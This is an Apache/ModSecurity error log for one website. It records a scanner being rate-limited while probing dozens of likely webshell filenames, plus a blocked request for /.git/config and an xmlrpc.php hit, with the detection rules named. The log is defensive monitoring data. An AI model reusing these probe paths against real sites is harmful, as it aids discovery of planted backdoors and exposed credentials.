[Tue Mar 24 15:15:02.588637 2026] [:error] [pid 3137:tid 3145] [client 20.251.56.73:13843] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sc.php"] [unique_id "acI59pdZesutm6dfYM_P8wAAAMY"]
[Tue Mar 24 15:15:03.289946 2026] [:error] [pid 64198:tid 64222] [client 20.251.56.73:14444] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sc.php"] [unique_id "acI593VzJqf6OS_oSZ0s6gAAAVY"]
[Tue Mar 24 15:15:03.821931 2026] [:error] [pid 38767:tid 38785] [client 20.251.56.73:14396] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "acI59_wkUqN4GJAI5oV9ewAAAQ8"]
[Tue Mar 24 15:15:04.344970 2026] [:error] [pid 3137:tid 3155] [client 20.251.56.73:14148] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "acI5-JdZesutm6dfYM_P9AAAANA"]
[Tue Mar 24 15:15:04.887323 2026] [:error] [pid 38767:tid 38786] [client 20.251.56.73:13651] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "acI5-PwkUqN4GJAI5oV9gAAAARA"]
[Tue Mar 24 15:15:05.441493 2026] [:error] [pid 3137:tid 3139] [client 20.251.56.73:14485] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "acI5-ZdZesutm6dfYM_P9QAAAMA"]
[Tue Mar 24 15:15:05.972340 2026] [:error] [pid 3030:tid 3057] [client 20.251.56.73:14398] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fyiiz.php"] [unique_id "acI5-QyOuILyynfcqfk8ZwAAAAg"]
[Tue Mar 24 15:15:06.507706 2026] [:error] [pid 64198:tid 64205] [client 20.251.56.73:14460] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fyiiz.php"] [unique_id "acI5-nVzJqf6OS_oSZ0s7QAAAUU"]
[Tue Mar 24 15:15:07.033308 2026] [:error] [pid 64198:tid 64217] [client 20.251.56.73:14189] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fyiiz.php"] [unique_id "acI5-3VzJqf6OS_oSZ0s7gAAAVE"]
[Tue Mar 24 15:15:07.564474 2026] [:error] [pid 3137:tid 3147] [client 20.251.56.73:14403] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fyiiz.php"] [unique_id "acI5-5dZesutm6dfYM_P-AAAAMg"]
[Tue Mar 24 15:15:08.108798 2026] [:error] [pid 3137:tid 3144] [client 20.251.56.73:13935] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "acI5_JdZesutm6dfYM_P-QAAAMU"]
[Tue Mar 24 15:15:08.646023 2026] [:error] [pid 3137:tid 3158] [client 20.251.56.73:13867] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "acI5_JdZesutm6dfYM_P_AAAANM"]
[Tue Mar 24 15:15:09.182376 2026] [:error] [pid 38767:tid 38771] [client 20.251.56.73:14532] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "acI5_fwkUqN4GJAI5oV9iwAAAQE"]
[Tue Mar 24 15:15:09.707413 2026] [:error] [pid 64198:tid 64218] [client 20.251.56.73:14560] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "acI5_XVzJqf6OS_oSZ0s8QAAAVI"]
[Tue Mar 24 15:15:10.280440 2026] [:error] [pid 64198:tid 64210] [client 20.251.56.73:14384] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gk.php"] [unique_id "acI5_nVzJqf6OS_oSZ0s8wAAAUo"]
[Tue Mar 24 15:15:10.812632 2026] [:error] [pid 38767:tid 38776] [client 20.251.56.73:13147] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gk.php"] [unique_id "acI5_vwkUqN4GJAI5oV9kQAAAQY"]
[Tue Mar 24 15:15:11.552119 2026] [:error] [pid 3031:tid 3078] [client 20.251.56.73:13826] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gk.php"] [unique_id "acI5_6JBKytnG47nuiYdhAAAAEI"]
[Tue Mar 24 15:15:12.110717 2026] [:error] [pid 3137:tid 3160] [client 20.251.56.73:14526] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gk.php"] [unique_id "acI6AJdZesutm6dfYM_QAAAAANU"]
[Tue Mar 24 15:15:12.692572 2026] [:error] [pid 3137:tid 3157] [client 20.251.56.73:14432] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shellerr.php"] [unique_id "acI6AJdZesutm6dfYM_QAgAAANI"]
[Tue Mar 24 15:15:13.214324 2026] [:error] [pid 3030:tid 3061] [client 20.251.56.73:14554] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shellerr.php"] [unique_id "acI6AQyOuILyynfcqfk8aAAAAAw"]
[Tue Mar 24 15:15:13.738999 2026] [:error] [pid 64198:tid 64212] [client 20.251.56.73:14358] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shellerr.php"] [unique_id "acI6AXVzJqf6OS_oSZ0s9gAAAUw"]
[Tue Mar 24 15:15:14.272435 2026] [:error] [pid 3137:tid 3139] [client 20.251.56.73:14095] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shellerr.php"] [unique_id "acI6ApdZesutm6dfYM_QAwAAAMA"]
[Tue Mar 24 15:15:14.800163 2026] [:error] [pid 38767:tid 38789] [client 20.251.56.73:14088] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acI6AvwkUqN4GJAI5oV9lAAAARM"]
[Tue Mar 24 15:15:15.322361 2026] [:error] [pid 64198:tid 64223] [client 20.251.56.73:14402] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acI6A3VzJqf6OS_oSZ0s-AAAAVc"]
[Tue Mar 24 15:15:15.848176 2026] [:error] [pid 38767:tid 38772] [client 20.251.56.73:14112] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acI6A_wkUqN4GJAI5oV9lQAAAQI"]
[Tue Mar 24 15:15:16.374053 2026] [:error] [pid 38767:tid 38779] [client 20.251.56.73:13408] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acI6BPwkUqN4GJAI5oV9lgAAAQk"]
[Tue Mar 24 15:15:16.917416 2026] [:error] [pid 3032:tid 3105] [client 20.251.56.73:14544] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "acI6BCa_-JXXD03-JNwp_QAAAII"]
[Tue Mar 24 15:15:17.441604 2026] [:error] [pid 48219:tid 48297] [client 20.251.56.73:14490] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "acI6BShf3b4R_lAIyv82CQAAAhA"]
[Tue Mar 24 15:15:17.978058 2026] [:error] [pid 3032:tid 3113] [client 20.251.56.73:14426] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "acI6BSa_-JXXD03-JNwp_gAAAIo"]
[Tue Mar 24 15:15:18.508456 2026] [:error] [pid 64198:tid 64217] [client 20.251.56.73:14453] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "acI6BnVzJqf6OS_oSZ0s_QAAAVE"]
[Tue Mar 24 15:15:19.039284 2026] [:error] [pid 64198:tid 64224] [client 20.251.56.73:14198] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/to.php"] [unique_id "acI6B3VzJqf6OS_oSZ0s_gAAAVg"]
[Tue Mar 24 15:15:19.583368 2026] [:error] [pid 64198:tid 64207] [client 20.251.56.73:14553] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/to.php"] [unique_id "acI6B3VzJqf6OS_oSZ0tAgAAAUc"]
[Tue Mar 24 15:15:20.111837 2026] [:error] [pid 64198:tid 64209] [client 20.251.56.73:14207] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/to.php"] [unique_id "acI6CHVzJqf6OS_oSZ0tBAAAAUk"]
[Tue Mar 24 15:15:20.780643 2026] [:error] [pid 3031:tid 3096] [client 20.251.56.73:14521] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/to.php"] [unique_id "acI6CKJBKytnG47nuiYdigAAAFQ"]
[Tue Mar 24 15:15:21.544190 2026] [:error] [pid 48214:tid 48255] [client 20.251.56.73:14517] File does not exist: /usr/local/apache/htdocs/suspended-page/rithin.php
[Tue Mar 24 15:15:21.809318 2026] [:error] [pid 48214:tid 48259] [client 20.251.56.73:14517] File does not exist: /usr/local/apache/htdocs/suspended-page/uuu.php
[Tue Mar 24 15:15:22.071586 2026] [:error] [pid 48214:tid 48257] [client 20.251.56.73:14517] File does not exist: /usr/local/apache/htdocs/suspended-page/filesss.php
[Tue Mar 24 15:15:22.334759 2026] [:error] [pid 48214:tid 48272] [client 20.251.56.73:14517] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-aaa.php
[Tue Mar 24 15:15:22.598770 2026] [:error] [pid 48214:tid 48270] [client 20.251.56.73:14517] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-freya.php
[Tue Mar 24 15:15:22.861814 2026] [:error] [pid 48214:tid 48274] [client 20.251.56.73:14517] File does not exist: /usr/local/apache/htdocs/suspended-page/X7x.php
[Tue Mar 24 15:15:23.659218 2026] [:error] [pid 48214:tid 48275] [client 20.251.56.73:14517] File does not exist: /usr/local/apache/htdocs/suspended-page/opts.php
[Tue Mar 24 15:15:23.922683 2026] [:error] [pid 48214:tid 48254] [client 20.251.56.73:14517] File does not exist: /usr/local/apache/htdocs/suspended-page/filer.php
[Tue Mar 24 15:15:24.185927 2026] [:error] [pid 48214:tid 48262] [client 20.251.56.73:14517] File does not exist: /usr/local/apache/htdocs/suspended-page/lites.php
[Tue Mar 24 15:15:24.448618 2026] [:error] [pid 48214:tid 48261] [client 20.251.56.73:14517] File does not exist: /usr/local/apache/htdocs/suspended-page/cord.php
[Tue Mar 24 15:15:24.712375 2026] [:error] [pid 48214:tid 48258] [client 20.251.56.73:14517] File does not exist: /usr/local/apache/htdocs/suspended-page/shlo.php
[Tue Mar 24 15:15:24.973524 2026] [:error] [pid 48214:tid 48256] [client 20.251.56.73:14517] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gg.php"] [unique_id "acI6DLeshLWZ3uUDHKk5oAAAAcQ"]
[Tue Mar 24 15:15:25.542121 2026] [:error] [pid 3031:tid 3079] [client 20.251.56.73:14187] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gg.php"] [unique_id "acI6DaJBKytnG47nuiYdjwAAAEM"]
[Tue Mar 24 15:15:26.073383 2026] [:error] [pid 38767:tid 38775] [client 20.251.56.73:13875] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gg.php"] [unique_id "acI6DvwkUqN4GJAI5oV9mgAAAQU"]
[Tue Mar 24 15:15:26.604770 2026] [:error] [pid 3031:tid 3078] [client 20.251.56.73:14574] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gg.php"] [unique_id "acI6DqJBKytnG47nuiYdkAAAAEI"]
[Tue Mar 24 15:15:27.174374 2026] [:error] [pid 38767:tid 38776] [client 20.251.56.73:14528] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we2.php"] [unique_id "acI6D_wkUqN4GJAI5oV9mwAAAQY"]
[Tue Mar 24 15:15:27.764331 2026] [:error] [pid 3031:tid 3083] [client 20.251.56.73:13596] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we2.php"] [unique_id "acI6D6JBKytnG47nuiYdkgAAAEc"]
[Tue Mar 24 15:15:28.295836 2026] [:error] [pid 48214:tid 48269] [client 20.251.56.73:13929] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we2.php"] [unique_id "acI6ELeshLWZ3uUDHKk5oQAAAdE"]
[Tue Mar 24 15:15:28.904072 2026] [:error] [pid 3032:tid 3118] [client 20.251.56.73:13832] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we2.php"] [unique_id "acI6ECa_-JXXD03-JNwp_wAAAI8"]
[Tue Mar 24 15:15:29.444965 2026] [:error] [pid 48128:tid 48153] [client 20.251.56.73:14567] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/juuuu.php"] [unique_id "acI6EcvR4LIMFLbM5VkcGAAAAYQ"]
[Tue Mar 24 15:15:30.054108 2026] [:error] [pid 3032:tid 3127] [client 20.251.56.73:14159] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/juuuu.php"] [unique_id "acI6Eia_-JXXD03-JNwqAAAAAJc"]
[Tue Mar 24 15:15:30.738936 2026] [:error] [pid 3032:tid 3119] [client 20.251.56.73:14405] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/juuuu.php"] [unique_id "acI6Eia_-JXXD03-JNwqAQAAAJA"]
[Tue Mar 24 15:15:31.416439 2026] [:error] [pid 64198:tid 64200] [client 20.251.56.73:14536] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/juuuu.php"] [unique_id "acI6E3VzJqf6OS_oSZ0tEAAAAUA"]
[Tue Mar 24 15:15:32.026147 2026] [:error] [pid 64198:tid 64207] [client 20.251.56.73:13405] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nox.php"] [unique_id "acI6FHVzJqf6OS_oSZ0tEgAAAUc"]
[Tue Mar 24 15:15:32.614899 2026] [:error] [pid 48128:tid 48152] [client 20.251.56.73:14529] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nox.php"] [unique_id "acI6FMvR4LIMFLbM5VkcGgAAAYM"]
[Tue Mar 24 15:15:33.673608 2026] [:error] [pid 38767:tid 38779] [client 20.251.56.73:13664] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nox.php"] [unique_id "acI6FfwkUqN4GJAI5oV9owAAAQk"]
[Tue Mar 24 15:15:34.477030 2026] [:error] [pid 48219:tid 48283] [client 20.251.56.73:14463] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nox.php"] [unique_id "acI6Fihf3b4R_lAIyv82GwAAAgI"]
[Wed Mar 25 00:15:08.594823 2026] [:error] [pid 38767:tid 38776] [client 93.123.109.79:63710] [client 93.123.109.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "acK4jPwkUqN4GJAI5oWSYAAAAQY"]
[Wed Mar 25 00:54:16.696529 2026] [:error] [pid 57711:tid 58074] [client 34.145.164.214:65169] [client 34.145.164.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.145.164.214, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "acLBuKLdPFdeRRktTdNSswAAAJQ"]
[Wed Mar 25 00:54:16.700629 2026] [:error] [pid 57711:tid 58074] [client 34.145.164.214:65169] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
